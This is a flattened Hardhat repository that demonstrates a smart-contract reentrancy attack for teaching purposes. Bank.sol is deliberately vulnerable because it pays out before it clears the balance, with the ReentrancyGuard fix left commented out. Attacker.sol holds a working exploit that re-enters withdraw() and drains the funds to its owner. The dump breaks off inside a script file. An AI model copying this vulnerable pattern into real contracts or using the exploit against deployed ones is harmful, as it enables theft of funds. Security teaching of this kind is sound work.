├── package.json ├── .gitignore ├── hardhat.config.js ├── README.md ├── contracts ├── Attacker.sol └── Bank.sol ├── scripts └── sample-script.js └── test └── sample-test.js /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "devDependencies": { 4 | "@nomiclabs/hardhat-ethers": "^2.0.5", 5 | "@nomiclabs/hardhat-waffle": "^2.0.3", 6 | "chai": "^4.3.6", 7 | "ethereum-waffle": "^3.4.4", 8 | "ethers": "^5.6.5", 9 | "hardhat": "^2.9.3" 10 | }, 11 | "dependencies": { 12 | "@openzeppelin/contracts": "^4.6.0" 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | coverage 2 | coverage.json 3 | typechain 4 | 5 | #Hardhat files 6 | cache 7 | artifacts 8 | 9 | # dependencies 10 | /node_modules 11 | /.pnp 12 | .pnp.js 13 | 14 | # testing 15 | /coverage 16 | 17 | # production 18 | /build 19 | 20 | # misc 21 | .DS_Store 22 | .env 23 | .env.local 24 | .env.development.local 25 | .env.test.local 26 | .env.production.local 27 | 28 | npm-debug.log* 29 | yarn-debug.log* 30 | yarn-error.log* 31 | -------------------------------------------------------------------------------- /hardhat.config.js: -------------------------------------------------------------------------------- 1 | require("@nomiclabs/hardhat-waffle"); 2 | 3 | // This is a sample Hardhat task. To learn how to create your own go to 4 | // https://hardhat.org/guides/create-task.html 5 | task("accounts", "Prints the list of accounts", async (taskArgs, hre) => { 6 | const accounts = await hre.ethers.getSigners(); 7 | 8 | for (const account of accounts) { 9 | console.log(account.address); 10 | } 11 | }); 12 | 13 | // You need to export an object to set up your config 14 | // Go to https://hardhat.org/config/ to learn more 15 | 16 | /** 17 | * @type import('hardhat/config').HardhatUserConfig 18 | */ 19 | module.exports = { 20 | solidity: "0.8.4", 21 | }; 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Smart Contract Security - Reentrancy attack 2 | Practical example of the reentracy vulnerability and how to protect against it 3 | 4 | ## Technology Stack & Dependencies 5 | 6 | - Solidity (Writing Smart Contract) 7 | - Javascript (Game interaction) 8 | - [NodeJS](https://nodejs.org/en/) To create hardhat project and install dependencis using npm 9 | - [Ethers.js](https://docs.ethers.io/v5/) Interact with contracts using JavaScript 10 | 11 | 12 | ### 1. Clone/Download the Repository 13 | 14 | ### 2. Install Dependencies: 15 | ``` 16 | $ npm install 17 | ``` 18 | 19 | ### 3. Compile Smart Contracts 20 | ``` 21 | $ npx hardhat compile 22 | ``` 23 | 24 | ### 4. Test and Perform attack 25 | ``` 26 | $ npx hardhat test 27 | ``` -------------------------------------------------------------------------------- /contracts/Attacker.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "@openzeppelin/contracts/access/Ownable.sol"; 4 | 5 | interface IBank { 6 | function deposit() external payable; 7 | function withdraw() external; 8 | } 9 | 10 | contract Attacker is Ownable { 11 | IBank public immutable bankContract; 12 | 13 | constructor(address bankContractAddress) { 14 | bankContract = IBank(bankContractAddress); 15 | } 16 | 17 | function attack() external payable onlyOwner { 18 | bankContract.deposit{ value: msg.value }(); 19 | bankContract.withdraw(); 20 | } 21 | 22 | receive() external payable { 23 | if (address(bankContract).balance > 0) { 24 | bankContract.withdraw(); 25 | } else { 26 | payable(owner()).transfer(address(this).balance); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /contracts/Bank.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.8.0; 3 | 4 | import "@openzeppelin/contracts/utils/Address.sol"; 5 | 6 | // 1. import contract 7 | // import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; 8 | 9 | // 2. inherit from ReentrancyGuard 10 | contract Bank { 11 | using Address for address payable; 12 | 13 | mapping(address => uint256) public balanceOf; 14 | 15 | function deposit() external payable { 16 | balanceOf[msg.sender] += msg.value; 17 | } 18 | 19 | /* 3. attach nonReentrant to protect against reentracy */ 20 | function withdraw() external { 21 | uint256 depositedAmount = balanceOf[msg.sender]; 22 | payable(msg.sender).sendValue(depositedAmount); 23 | balanceOf[msg.sender] = 0; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /scripts/sample-script.js: -------------------------------------------------------------------------------- 1 | // We require the Hardhat Runtime Environment explicitly here. This is optional 2 | // but useful for running the script in a standalone fashion through `node